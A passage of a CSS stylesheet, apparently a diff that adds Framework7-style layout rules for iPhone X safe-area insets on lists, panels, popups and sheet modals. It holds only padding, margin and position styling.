.list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after { + left: calc(16px + constant(safe-area-inset-left)); + left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after { + left: calc(16px + constant(safe-area-inset-left)); + left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 16px; + } + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 16px; + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + background-position: calc(100% - 16px - constant(safe-area-inset-right)) center; + background-position: calc(100% - 16px - env(safe-area-inset-right)) center; + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-right: calc(42px + constant(safe-area-inset-right)); + padding-right: calc(42px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + padding-right: calc(42px + constant(safe-area-inset-right)); + padding-right: calc(42px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner { + padding-right: calc(42px + constant(safe-area-inset-right)); + padding-right: calc(42px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row { + padding-right: 0; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x 